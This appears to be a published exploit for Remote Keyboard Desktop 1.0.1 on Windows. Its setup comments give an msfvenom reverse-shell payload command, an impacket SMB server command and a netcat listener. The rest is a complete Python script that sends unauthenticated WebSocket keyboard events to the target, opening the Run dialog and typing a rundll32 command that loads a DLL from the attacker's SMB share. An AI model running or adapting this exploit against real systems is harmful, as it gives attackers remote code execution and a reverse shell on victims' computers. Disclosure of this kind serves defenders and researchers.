Remote Keyboard Desktop 1.0.1 – Remote Code Execution (RCE)

Exploit Title: Remote Keyboard Desktop 1.0.1…

# Exploit Title: Remote Keyboard Desktop 1.0.1 – Remote Code Execution (RCE)

# Date: 05/17/2025

# Exploit Author: Chokri Hammedi

# Vendor Homepage: https://remotecontrolio.web.app/

# Software Link: https://apps.microsoft.com/detail/9n0jw8v5sc9m?hl=neutral&gl=US&ocid=pdpshare

# Version: 1.0.1

# Tested on: Windows 10 Pro Build 19045

# Start Remote Keyboard Desktop on your windows

# Preparing:

#

# 1. Generating payload (dll/exe):

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.105 LPORT=8080 -f dll > shell.dll

# 2. Start smb server: impacket-smbserver SHARE . -smb2support

# 3. nc -lnvp 8080

# 4. python exploit.py

#####

#!/usr/bin/env python3

import websocket

import json

import time

target = “192.168.8.105”

lhost = “192.168.8.101”

WS_URL = f”ws://{target}:8080/”

payload = “shell2.dll” # payload dll/exe filename

debug = False

HEADER_LIST = [

“User-Agent: Dart/3.7 (dart:io)”,

f”Origin: http://{target}:8080″,

“Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits”

]

#SMB_PATH = f”cmd /c \\\\{lhost}\\SHARE\\{payload}” # exe based

SMB_PATH = f”rundll32.exe \\\\{lhost}\\SHARE\\{payload},ExportedFunc” # dll

based

special_mapping = {

‘ ‘: (“SPACE”, False),

‘/’: (“NUMPAD_DIVIDE”, False),

‘\\’: (“\\”, False),

‘.’: (“NUMPAD_DECIMAL”, False),

‘,’: (“,”, False),

}

def send_key_event(ws, key, key_down):

event = {“command”: “keyboard_event”, “data”: {“key”: key, “keyDown”:

key_down, “capsLock”: False}}

ws.send(json.dumps(event))

def send_text(ws, text, delay=0.05):

shift_pressed = False

for ch in text:

if ch in special_mapping:

key_name, need_shift = special_mapping[ch]

elif ch.isalpha():

need_shift = ch.isupper()

key_name = ch.upper()

elif ch.isdigit():

key_name = ch

need_shift = False

else:

raise ValueError(f”No key mapping for character: {ch!r}”)

if need_shift and not shift_pressed:

send_key_event(ws, “SHIFT”, True)

shift_pressed = True

elif not need_shift and shift_pressed:

send_key_event(ws, “SHIFT”, False)

shift_pressed = False

send_key_event(ws, key_name, True)

send_key_event(ws, key_name, False)

time.sleep(delay)

if shift_pressed:

send_key_event(ws, “SHIFT”, False)

def send_key(ws, keys, delay=0.05):

for key in keys:

send_key_event(ws, key, True)

time.sleep(delay)

for key in reversed(keys):

send_key_event(ws, key, False)

def on_open(ws):

print (“Let’s start!”)

send_key(ws, [“LEFT_WINDOWS”, “R”])

time.sleep(0.5)

send_text(ws, SMB_PATH)

send_key(ws, [“RETURN”])

print (“Executing…”)

time.sleep(1.2)

print(“Check your listener!”)

if debug:

print(“\033[42;37mExploit by blue0x1 – github.com/blue0x1\033[0m

“)

ws.close()

def on_message(ws, message):

if debug:

print(“[=] Received:”, message)

def on_error(ws, error):

if debug:

print(“[!] Error:”, error)

def on_close(ws, code, reason):

if debug:

print(f”[x] Closed: {code} – {reason}”)

if __name__ == “__main__”:

websocket.enableTrace(debug)

ws = websocket.WebSocketApp(

WS_URL,

header=HEADER_LIST,

on_open=on_open,

on_message=on_message,

on_error=on_error,

on_close=on_close

)

ws.run_forever()